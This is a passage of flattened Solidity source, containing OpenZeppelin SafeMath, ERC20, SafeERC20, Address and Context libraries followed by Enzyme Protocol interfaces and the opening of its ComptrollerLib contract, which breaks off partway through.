* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPosition Contract
/// @author Enzyme Council <[email protected]>
interface IExternalPosition {
function getDebtAssets() external returns (address[] memory, uint256[] memory);
function getManagedAssets() external returns (address[] memory, uint256[] memory);
function init(bytes memory) external;
function receiveCallFromVault(bytes memory) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPositionVault interface
/// @author Enzyme Council <[email protected]>
/// Provides an interface to get the externalPositionLib for a given type from the Vault
interface IExternalPositionVault {
function getExternalPositionLibForType(uint256) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFreelyTransferableSharesVault Interface
/// @author Enzyme Council <[email protected]>
/// @notice Provides the interface for determining whether a vault's shares
/// are guaranteed to be freely transferable.
/// @dev DO NOT EDIT CONTRACT
interface IFreelyTransferableSharesVault {
function sharesAreFreelyTransferable()
external
view
returns (bool sharesAreFreelyTransferable_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
function getOwner() external view returns (address);
function hasReconfigurationRequest(address) external view returns (bool);
function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool);
function isAllowedVaultCall(
address,
bytes4,
bytes32
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/external-positions/IExternalPosition.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymaster.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymasterDepositor.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, IGasRelayPaymasterDepositor, GasRelayRecipientMixin {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event AutoProtocolFeeSharesBuybackSet(bool autoProtocolFeeSharesBuyback);
event BuyBackMaxProtocolFeeSharesFailed(
bytes indexed failureReturnData,
uint256 sharesAmount,
uint256 buybackValueInMln,
uint256 gav
);
event DeactivateFeeManagerFailed();
event GasRelayPaymasterSet(address gasRelayPaymaster);
event MigratedSharesDuePaid(uint256 sharesDue);
event PayProtocolFeeDuringDestructFailed();
event PreRedeemSharesHookFailed(
bytes indexed failureReturnData,
address indexed redeemer,
uint256 sharesAmount
);
event RedeemSharesInKindCalcGavFailed();
event SharesBought(
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
address indexed recipient,
uint256 sharesAmount,
address[] receivedAssets,
uint256[] receivedAssetAmounts
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant ONE_HUNDRED_PERCENT = 10000;
uint256 private constant SHARES_UNIT = 10**18;
address
private constant SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS = 0x000000000000000000000000000000000000aaaa;
address private immutable DISPATCHER;
address private immutable EXTERNAL_POSITION_MANAGER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable MLN_TOKEN;
address private immutable POLICY_MANAGER;
address private immutable PROTOCOL_FEE_RESERVE;
address private immutable VALUE_INTERPRETER;
address private immutable WETH_TOKEN;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Attempts to buy back protocol fee shares immediately after collection
bool internal autoProtocolFeeSharesBuyback;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock after the last time shares were bought for an account
// that must expire before that account transfers or redeems their shares
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesBoughtTimestamp;
// The contract which manages paying gas relayers
address private gasRelayPaymaster;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer();
_;
}
modifier onlyGasRelayPaymaster() {
__assertIsGasRelayPaymaster();
_;
}
modifier onlyOwner() {
__assertIsOwner(__msgSender());
_;
}
modifier onlyOwnerNotRelayable() {
__assertIsOwner(msg.sender);
_;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
function __assertIsFundDeployer() private view {
require(msg.sender == getFundDeployer(), "Only FundDeployer callable");
}
function __assertIsGasRelayPaymaster() private view {
require(msg.sender == getGasRelayPaymaster(), "Only Gas Relay Paymaster callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(getVaultProxy()).getOwner(), "Only fund owner callable");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _vaultProxy, address _account)
private
view
{
uint256 lastSharesBoughtTimestamp = getLastSharesBoughtTimestampForAccount(_account);
require(
lastSharesBoughtTimestamp == 0 ||
block.timestamp.sub(lastSharesBoughtTimestamp) >= getSharesActionTimelock() ||
__hasPendingMigrationOrReconfiguration(_vaultProxy),
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _protocolFeeReserve,
address _fundDeployer,
address _valueInterpreter,
address _externalPositionManager,
address _feeManager,
address _integrationManager,
address _policyManager,
address _gasRelayPaymasterFactory,
address _mlnToken,
address _wethToken
) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) {
DISPATCHER = _dispatcher;
EXTERNAL_POSITION_MANAGER = _externalPositionManager;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
MLN_TOKEN = _mlnToken;
POLICY_MANAGER = _policyManager;
PROTOCOL_FEE_RESERVE = _protocolFeeReserve;
VALUE_INTERPRETER = _valueInterpreter;
WETH_TOKEN = _wethToken;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
